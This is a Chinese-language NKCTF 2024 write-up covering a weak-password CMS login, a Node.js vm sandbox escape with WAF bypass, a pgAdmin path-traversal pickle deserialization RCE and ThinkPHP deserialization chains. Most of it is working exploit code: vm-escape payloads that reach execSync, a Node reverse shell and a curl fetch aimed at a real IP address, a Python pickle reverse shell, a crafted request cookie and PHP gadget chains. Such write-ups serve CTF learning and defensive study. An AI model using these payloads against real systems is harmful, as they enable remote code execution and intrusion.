NKCTF 2024

my first cms

这个弱密码进后台:
admin/Admin123(牛魔弱密码
然后有两个getshell的rce可以打:


然后拿历史洞直接打就行

全世界最简单的CTF

用到ES6模板字符串绕过,参考:https://www.joyk.com/dig/detail/1669534240131844

源码:

const express = require('express');  
const bodyParser = require('body-parser');  
const app = express();  
const fs = require("fs");  
const path = require('path');  
const vm = require("vm");  
  
app.use(bodyParser.json())  
    .set('views', path.join(__dirname, 'views'))  
    .use(express.static(path.join(__dirname, '/public')));  
  
app.get('/', function (req, res) {  
    res.sendFile(__dirname + '/public/home.html');  
});  
  
function waf(code) {  
    let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;  
    if (code.match(pattern)) {  
        throw new Error("what can I say? hacker out!!");  
    }  
}  
  
app.post('/', function (req, res) {  
    let code = req.body.code;  
    let sandbox = Object.create(null);  
    let context = vm.createContext(sandbox);  
    try {  
        waf(code)  
        let result = vm.runInContext(code, context);  
        console.log(result);  
    } catch (e) {  
        console.log(e.message);  
        require('./hack');  
    }  
});  
  
app.get('/secret', function (req, res) {  
    if (process.__filename == null) {  
        let content = fs.readFileSync(__filename, "utf-8");  
        return res.send(content);  
    } else {  
        let content = fs.readFileSync(process.__filename, "utf-8");  
        return res.send(content);  
    }  
});  
  
app.listen(13000, () => {  
    console.log("listen on 3000");  
});

这题一看就是一个vm逃逸+绕waf
本地实现了任意文件读取,和写文件,但是没什么用。。。。。

const vm = require('vm');  
  
function waf(code) {  
    let pattern = /(process|\[.*?\]|spawn|exec|Buffer|\\|\+|concat|eval|Function)/g;  
    if (code.match(pattern)) {  
        throw new Error("what can I say? hacker out!!");  
    }  
}  
let code = `  
 throw new Proxy({}, {        get: function(){            var harder = "roce";            var poc = "xe";            const cc = arguments.callee.caller;            const p = (cc.constructor.constructor(\`return p\${harder}ss\`))();  
            return p.mainModule.require('fs').readFileSync('app.js','utf-8');        }    })`;  
  
let sandbox = Object.create(null);  
  
let context = vm.createContext(sandbox);  
try {  
    waf(code)  
    let result = vm.runInContext(code, context);  
    console.log(result);  
} catch (e) {  
    console.log(e.message);  
  
}

打通的思路
https://www.ddosi.org/shell/
启动一个python服务,然后wegt下来下面这个js🐎:

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("sh", []);
    var client = new net.Socket();
    client.connect(7777, "43.128.21.178", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application from crashing
})();

payload:

throw new Proxy({}, {  
       get: function(){                 var harder = "roce";  
           var poc = "xe";           const cc = arguments.callee.caller;           const p = (cc.constructor.constructor(\`return p\${harder}ss\`))();  
           p.mainModule.require('fs').writeFileSync('harder.js',\`require('child_p\${harder}ss').e\${poc}cSync("curl http://43.128.21.178:7777/shell.js ");\`)  
           return p.mainModule.require(\`child_p\${harder}ss\`).fork('harder.js');  
       }   })
       

然后再fork我们的shell.js

throw new Proxy({}, {  
       get: function(){                 var harder = "roce";  
           var poc = "xe";           const cc = arguments.callee.caller;           const p = (cc.constructor.constructor(\`return p\${harder}ss\`))();  
           p.mainModule.require('fs').writeFileSync('harder.js',\`require('child_p\${harder}ss').e\${poc}cSync("");\`)  
           return p.mainModule.require(\`child_p\${harder}ss\`).fork('shell.js');  
       }   })

然后读flag即可

改了一下学弟的payload:

throw new Proxy({},{  
     get: function(){      const cc = arguments.callee.caller;  
   const p = (cc.constructor.constructor(\`return \${\`proce\`}ss\`))();  
   child = p.mainModule.require(\`child_\${\`proce\`}ss\`);  
   childArr = Object.values(child);   fun = childArr.find(func=>func.name ===\`\${\`exe\`}cSync\`);  
   fun("calc");}   })

LaoGong的payload:

throw new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor('return procBess'.replace('B','')))();
            const obj = p.mainModule.require('child_procBess'.replace('B',''));
            const ex = Object.getOwnPropertyDescriptor(obj, 'exeicSync'.replace('i',''));
            return ex.value('whoami').toString();
        }
    })

官方的WriteUp:


attack_tacooooo

参考:
https://www.shielder.com/advisories/pgadmin-path-traversal_leads_to_unsafe_deserialization_and_rce/
rce半小时,找flag半天。。
flag藏在定时任务里面

import pickle
import os
import pickletools

class exp():
    def __reduce__(self):
        return (exec, ("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);",))

if __name__ == '__main__':
    c = exp()
    payload = pickle.dumps(c)
    with open('posix.pickle', 'wb') as f:
        f.write(payload)
import struct  
import sys  
  
def produce_pickle_bytes(platform, cmd):  
        b = b'\x80\x04\x95'  
        b += struct.pack('L', 22 + len(platform) + len(cmd))  
        b += b'\x8c' + struct.pack('b', len(platform)) + platform.encode()  
        b += b'\x94\x8c\x06system\x94\x93\x94'  
        b += b'\x8c' + struct.pack('b', len(cmd)) + cmd.encode()  
        b += b'\x94\x85\x94R\x94.'  
        print(b)  
        return b  
if __name__ == '__main__':  
    if len(sys.argv) != 2:  
        exit(f"usage: {sys.argv[0]} ip:port")  
    with open('nt.pickle', 'wb') as f:  
        f.write(produce_pickle_bytes('nt', f""))  
    with open('posix.pickle', 'wb') as f:  
        f.write(produce_pickle_bytes('posix', f"crontab -l > /var/lib/pgadmin/storage/tacooooo_qq.com/a.sh"))

把生成的posix.pickle文件上去,在storge上传

GET http://79d438c1-772a-4bae-b2fe-e777f5eb3f31.node.nkctf.yuzhian.com.cn/browser/ HTTP/1.1
Host: 79d438c1-772a-4bae-b2fe-e777f5eb3f31.node.nkctf.yuzhian.com.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: pga4_session=../storage/tacooooo_qq.com/posix.pickle!a; PGADMIN_LANGUAGE=en
Upgrade-Insecure-Requests: 1

用过就是熟悉

thinkphp反序列化:
写文件的链子,还需要时间爆破文件名字

<?php


namespace think\process\pipes {
    class Windows
    {
        private $files;

        public function __construct($a)
        {
            $this->files = [$a];
        }
    }
}

namespace think {
    class Collection
    {
        protected $items;

        public function __construct($a)
        {
            $this->items = $a;
        }
    }
}

namespace think {
    class View
    {
        protected $data = [];
        public $engine = array('time' => '10086');

        public function __construct($a)
        {
            $this->data = array('Loginout' => $a);
        }
    }
}
//抽象类无法实例化,需要找到他的子类,即下面的Debug类
namespace think {
    abstract class Testone
    {
    }
}

namespace think {
    class Debug extends Testone
    {
    }
}


namespace {
   $Debug = new think\Debug();
   $View = new think\View($Debug);
   $Collection = new think\Collection($View);
   $Windows = new think\process\pipes\Windows($Collection);
   echo serialize($Windows);
}
//TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE2OiJ0aGlua1xDb2xsZWN0aW9uIjoxOntzOjg6IgAqAGl0ZW1zIjtPOjEwOiJ0aGlua1xWaWV3IjoyOntzOjc6IgAqAGRhdGEiO2E6MTp7czo4OiJMb2dpbm91dCI7TzoxMToidGhpbmtcRGVidWciOjA6e319czo2OiJlbmdpbmUiO2E6Mjp7czo0OiJ0aW1lIjtzOjU6IjEwMDg2IjtzOjQ6Im5hbWUiO3M6MTY6ImRhdGEvZmlsZXMvc2hlbGwiO319fX19

include链子:

<?php  
  
// include file  
  
namespace think\process\pipes{  
    class Windows  
    {  
        private $files = [];  
  
        public function __construct($a)  
        {  
            $this->files = $a;  
            var_dump($this->files);  
        }  
    }  
  
}  
  
namespace think{  
  
    class Collection{  
  
        protected $items = [];  
  
        public function __construct($items)  
        {  
            $this->items = $items;  
        }  
  
    }  
}  
  
namespace think{  
    class View{  
        protected $data = [];  
        public $engine;  
  
        public function __construct($a,$b)   // 传参为 include filename        {  
            $this->data = $a;  
            $this->engine = $b;  
        }  
    }  
}  
  
namespace think{  
    class Config{  
  
    }  
  
}  
  
namespace {  
  
    use think\Collection;  
    use think\Config;  
    use think\process\pipes\Windows;  
    use think\View;  
  
    $filepath = array("time"=>"10086","name"=>"data/files/shell");  
    $d = new Config();  
    $c = new View(array("Loqinout"=>$d),$filepath);  
    $b = new Collection($c);  
    $a = new Windows(array($b));  
  
    echo base64_encode(serialize($a));  
  
}